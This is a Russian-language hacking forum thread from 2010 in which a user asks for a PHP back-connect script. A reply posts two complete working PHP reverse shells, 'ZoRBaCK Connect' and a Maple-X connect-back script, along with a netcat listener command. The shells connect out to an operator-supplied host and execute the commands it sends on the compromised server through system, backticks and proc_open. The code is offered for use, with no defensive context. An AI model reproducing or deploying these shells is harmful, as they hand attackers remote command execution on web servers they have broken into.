Backconnect на PHP

Discussion in 'Песочница' started by Welemir, 23 Sep 2010.

Thread Status:
Not open for further replies.
  1. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Нужен:(.Не завалялся ли у кого ?
     
  2. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Таких нет в природе чтоли : ))
     
  3. TheLuckyOne

    TheLuckyOne New Member

    Joined:
    9 Sep 2010
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    Эм, бэкконект на пхп будет всеравно проходить через саму систему. Если прав хватит, можешь вызовы через пхп все сделать.
     
  4. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    PHP:
    <?

    /*

    coded by ZoRLu

    03.11.2009

    [email protected] ( only msn )

    z0rlu.blogspot.com

    */

    print ( '<title>ZoRBaCK Connect</title>' );

    echo 
    "<br><b>ZoRBaCK Connect<br> 
                Usage: nc -vv -l -p 21<br>
                <hr> 
                <form method='POST' action=''><br> 
                Your IP & Port:<br> 
                <input type='text' name='ipim' size='15' value=''>
                <input type='text' name='portum' size='5' value='21'><br><br> 
                <input type='submit' value='Connect'><br><br>
                <hr>
                </form>"

                
             
    $ipim=$_POST['ipim']; 
             
    $portum=$_POST['portum']; 
             if (
    $ipim <> ""
             { 
             
    $mucx=fsockopen($ipim $portum $errno$errstr ); 
             if (!
    $mucx){ 
                   
    $result "Error: didnt connect !!!"
             } 
             else { 
             
             
    $zamazing0="\n";
                      
             
    fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
             
    fputs($mucx system("uname -a") .$zamazing0 );
             
    fputs($mucx system("pwd") .$zamazing0 );
             
    fputs($mucx system("id") .$zamazing0.$zamazing0 );
             while(!
    feof($mucx)){  
           
    fputs ($mucx); 
           
    $one="[$";
           
    $two="]";
           
    $resultfgets ($mucx8192); 
          
    $message=`$result`; 
           
    fputs ($mucx$onesystem("whoami") .$two" " .$message."\n"); 
          } 
          
    fclose ($mucx); 
             } 
             } 

    ?>
    OR

    PHP:
    maple-x

    在liunx下反弹拿SHELL
    <?php
    /*
    * 文件说明
    * Copyright (c) 2006, By Maple-X http://www.Wolvez.org
    * All rights reserved
    * Author:Maple-X ( [email protected] )
    * Date:2006-07-16
    * $Id: connect-back.php,v 1.0 2006/07/16 14:27:01 Maple-X Exp $
    */
    if(isset($_POST['host']) && isset($_POST['port']))
    {
       
    $host $_POST['host'];
       
    $port $_POST['port'];
    }else{    
    print<<<eof
    <html>
    <head>
    <title>PHP Connect Back</title>
    <p>Code By Maple-x <br>
    <a href="http://www.wolvez.org">http://www.Wolvez.org<a>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </title>
    <style>
    body{
       margin:0;
       padding:0;
       background:#000000;
       text-align:center;
       color:green;
       FONT-FAMILY: verdana;
       FONT-SIZE: 14px;
    }
    input{
       margin:0px;
       padding:0px;
       color:green;
       border: 1px;
       border-bottom-color:#ffffff;
    }
    A:link {
           color:green;
        TEXT-DECORATION: none
    }
    A:visited {
          COLOR: #00ff00;
        TEXT-DECORATION: none
    }
    A:active {
        TEXT-DECORATION: none
    }
    A:hover {
        COLOR: #00ff00; TEXT-DECORATION: none
    }
    </head>
    </style>
    <body>
    <form method=post action="">
    Host:<input type=text name=host><br />
    Port: <input type=text name=port><br />
        <input type=radio name=info check=checked value=linux>Linux
        <input type=radio name=info value=win>Win<br />
        <input type=submit name=submit value="反弹连接">
    </form>
    </body>
    </html>
    eof;
    print(
    "-------------------------------------------------------------")."<br />";
    print(
    "注意:win的反弹需要PHP支持socket")."<br />";
    print(
    "        Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()")."<br />";
    print(
    "        错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt")."<br />";
    die(
    "欢迎测试");
    }
    if(
    $_POST['info']=="win")
    {
       
    $env=array('path' => 'c:\\windows\\system32');
       
    $descriptorspec = array(
           
    => array("pipe","r"),
           
    => array("pipe","w"),
           
    => array("file","log.txt","a"),
    );
    }else{
       
    $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
       
    $descriptorspec = array(
           
    => array("pipe","r"),
           
    => array("pipe","w"),
           
    => array("file","/tmp/log.txt","a"),
           );
    }
    $host=gethostbyname($host);
    $proto=getprotobyname("tcp");
    if((
    $sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
    {
       die(
    "Socket Create Faile");
    }
    if((
    $ret=socket_connect($sock,$host,$port))<0)
    {
       die(
    "Connect Faile");
    }else{
    $message="----------------------PHP Connect-Back--------------------\n";
    $message.="-----------------------Code By Maple-x--------------------\n";
    socket_write($sock,$message,strlen($message));
    $cwd=str_replace('\\','/',dirname(__FILE__));
    while(
    $cmd=socket_read($sock,65535,$proto))
       {
       if(
    trim(strtolower($cmd))=="exit")
       {
       
    socket_write($sock,"Bye Bye\n");
       exit;
       }else{
           
    $process proc_open($cmd$descriptorspec$pipes$cwd$env);
    if (
    is_resource($process)) {
      
    fwrite($pipes[0], $cmd);
      
    fclose($pipes[0]);
       
       
    $msg=stream_get_contents($pipes[1]);
      
    socket_write($sock,$msg,strlen($msg));
      
    fclose($pipes[1]);
      
    $return_value proc_close($process);
    }
       }
    }
    }
    ?>
     
    #4 547, 30 Sep 2010
    Last edited: 30 Sep 2010
  5. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    тут целых три скрипта для бекконнекта на php =\
     
Thread Status:
Not open for further replies.